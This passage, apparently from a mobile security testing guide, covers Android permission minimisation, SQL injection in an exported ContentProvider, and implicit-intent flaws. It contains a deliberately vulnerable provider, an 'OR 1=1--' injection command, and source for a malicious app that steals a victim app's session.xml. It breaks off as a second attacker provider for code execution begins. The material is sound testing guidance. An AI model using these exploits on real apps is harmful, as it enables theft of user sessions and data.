  • In many cases the app could opt for alternatives to declaring permissions, such as:
    • requesting the ACCESS_COARSE_LOCATION permission instead of ACCESS_FINE_LOCATION. Or even better not requesting the permission at all, and instead ask the user to enter a postal code.
    • invoking the ACTION_IMAGE_CAPTURE or ACTION_VIDEO_CAPTURE intent action instead of requesting the CAMERA permission.
    • using Companion Device Pairing (Android 8.0 (API level 26) and higher) when pairing with a Bluetooth device instead of declaring the ACCESS_FINE_LOCATION, ACCESS_COARSE_LOCATIION, or BLUETOOTH_ADMIN permissions.
  • Use the Privacy Dashboard (Android 12 (API level 31) and higher) to verify how the app explains access to sensitive information.
To obtain detail about a specific permission you can refer to the Android Documentation.

Testing for Injection Flaws (MSTG-PLATFORM-2)

Overview

To test for injection flaws you need to first rely on other tests and check for functionality that might have been exposed:

Static Analysis

An example of a vulnerable IPC mechanism is shown below.
You can use ContentProviders to access database information, and you can probe services to see if they return data. If data is not validated properly, the content provider may be prone to SQL injection while other apps are interacting with it. See the following vulnerable implementation of a ContentProvider.
<provider
android:name=".OMTG_CODING_003_SQL_Injection_Content_Provider_Implementation"
android:authorities="sg.vp.owasp_mobile.provider.College">
</provider>
The AndroidManifest.xml above defines a content provider that's exported and therefore available to all other apps. The query function in the OMTG_CODING_003_SQL_Injection_Content_Provider_Implementation.java class should be inspected.
@Override
public Cursor query(Uri uri, String[] projection, String selection,String[] selectionArgs, String sortOrder) {
SQLiteQueryBuilder qb = new SQLiteQueryBuilder();
qb.setTables(STUDENTS_TABLE_NAME);
​
switch (uriMatcher.match(uri)) {
case STUDENTS:
qb.setProjectionMap(STUDENTS_PROJECTION_MAP);
break;
​
case STUDENT_ID:
// SQL Injection when providing an ID
qb.appendWhere( _ID + "=" + uri.getPathSegments().get(1));
Log.e("appendWhere",uri.getPathSegments().get(1).toString());
break;
​
default:
throw new IllegalArgumentException("Unknown URI " + uri);
}
​
if (sortOrder == null || sortOrder == ""){
/**
* By default sort on student names
*/
sortOrder = NAME;
}
Cursor c = qb.query(db, projection, selection, selectionArgs,null, null, sortOrder);
​
/**
* register to watch a content URI for changes
*/
c.setNotificationUri(getContext().getContentResolver(), uri);
return c;
}
While the user is providing a STUDENT_ID at content://sg.vp.owasp_mobile.provider.College/students, the query statement is prone to SQL injection. Obviously prepared statements must be used to avoid SQL injection, but input validation should also be applied so that only input that the app is expecting is processed.
All app functions that process data coming in through the UI should implement input validation:
  • For user interface input, Android Saripaar v2 can be used.
  • For input from IPC or URL schemes, a validation function should be created. For example, the following determines whether the string is alphanumeric:
public boolean isAlphaNumeric(String s){
String pattern= "^[a-zA-Z0-9]*$";
return s.matches(pattern);
}
An alternative to validation functions is type conversion, with, for example, Integer.parseInt if only integers are expected. The OWASP Input Validation Cheat Sheet contains more information about this topic.

Dynamic Analysis

The tester should manually test the input fields with strings like OR 1=1-- if, for example, a local SQL injection vulnerability has been identified.
On a rooted device, the command content can be used to query the data from a content provider. The following command queries the vulnerable function described above.
# content query --uri content://sg.vp.owasp_mobile.provider.College/students
SQL injection can be exploited with the following command. Instead of getting the record for Bob only, the user can retrieve all data.
# content query --uri content://sg.vp.owasp_mobile.provider.College/students --where "name='Bob') OR 1=1--''"

Testing Implicit Intents (MSTG-PLATFORM-2)

Overview

When testing for implicit intents you need to check if they are vulnerable to injection attacks or potentially leaking sensitive data.

Static Analysis

Inspect the Android Manifest and look for any <intent> signatures defined inside blocks (which specify the set of other apps an app intends to interact with), check if it contains any system actions (e.g. android.intent.action.GET_CONTENT, android.intent.action.PICK, android.media.action.IMAGE_CAPTURE, etc.) and browse the source code for their occurrence.
For example, the following Intent doesn't specify any concrete component, meaning that it's an implicit intent. It sets the action android.intent.action.GET_CONTENT to ask the user for input data and then the app starts the intent by startActivityForResult and specifying an image chooser.
Intent intent = new Intent();
intent.setAction("android.intent.action.GET_CONTENT");
startActivityForResult(Intent.createChooser(intent, ""), REQUEST_IMAGE);
The app uses startActivityForResult instead of startActivity, indicating that it expects a result (in this case an image), so you should check how the return value of the intent is handled by looking for the onActivityResult callback. If the return value of the intent isn't properly validated, an attacker may be able to read arbitrary files or execute arbitrary code from the app's internal `/data/data/' storage. A full description of this type of attack can be found in the following blog post.

Case 1: Arbitrary File Read

In this example we're going to see how an attacker can read arbitrary files from within the app's internal storage /data/data/<appname> due to the improper validation of the return value of the intent.
The performAction method in the following example reads the implicit intents return value, which can be an attacker provided URI and hands it to getFileItemFromUri. This method copies the file to a temp folder, which is usual if this file is displayed internally. But if the app stores the URI provided file in an external temp directory e.g by calling getExternalCacheDir or getExternalFilesDir an attacker can read this file if he sets the permission android.permission.READ_EXTERNAL_STORAGE.
private void performAction(Action action){
...
Uri data = intent.getData();
if (!(data == null || (fileItemFromUri = getFileItemFromUri(data)) == null)) {
...
}
}
​
private FileItem getFileItemFromUri(Context, context, Uri uri){
String fileName = UriExtensions.getFileName(uri, context);
File file = new File(getExternalCacheDir(), "tmp");
file.createNewFile();
copy(context.openInputStream(uri), new FileOutputStream(file));
...
}
The following is the source of a malicious app that exploits the above vulnerable code.
AndroidManifest.xml
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<application>
<activity android:name=".EvilContentActivity">
<intent-filter android:priority="999">
<action android:name="android.intent.action.GET_CONTENT" />
<data android:mimeType="*/*" />
</intent-filter>
</activity>
</application>
EvilContentActivity.java
public class EvilContentActivity extends Activity{
@Override
protected void OnCreate(@Nullable Bundle savedInstanceState){
super.OnCreate(savedInstanceState);
setResult(-1, new Intent().setData(Uri.parse("file:///data/data/<victim_app>/shared_preferences/session.xml")));
finish();
}
}
If the user selects the malicious app to handle the intent, the attacker can now steal the session.xml file from the app's internal storage. In the previous example, the victim must explicitly select the attacker's malicious app in a dialog. However, developers may choose to suppress this dialog and automatically determine a recipient for the intent. This would allow the attack to occur without any additional user interaction.
The following code sample implements this automatic selection of the recipient. By specifying a priority in the malicious app's intent filter, the attacker can influence the selection sequence.
Intent intent = new Intent("android.intent.action.GET_CONTENT");
for(ResolveInfo info : getPackageManager().queryIntentActivities(intent, 0)) {
intent.setClassName(info.activityInfo.packageName, info.activityInfo.name);
startActivityForResult(intent);
return;
}

Case 2: Arbitrary Code Execution

An improperly handled return value of an implicit intent can lead to arbitrary code execution if the victim app allows content:// and file:// URLs.
An attacker can implement a ContentProvider that contains public Cursor query(...) to set an arbitrary file (in this case lib.so), and if the victim loads this file from the content provider by executing copy the attacker's ParcelFileDescriptor openFile(...) method will be executed and return a malicious fakelib.so.
AndroidManifest.xml
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<application>
<activity android:name=".EvilContentActivity">
<intent-filter android:priority="999">
<action android:name="android.intent.action.GET_CONTENT" />
<data android:mimeType="*/*" />
</intent-filter>
</activity>
<provider android:name=".EvilContentProvider" android:authorities="com.attacker.evil" android:enabled="true" android:exported="true"></provider>
</application>
EvilContentProvider.java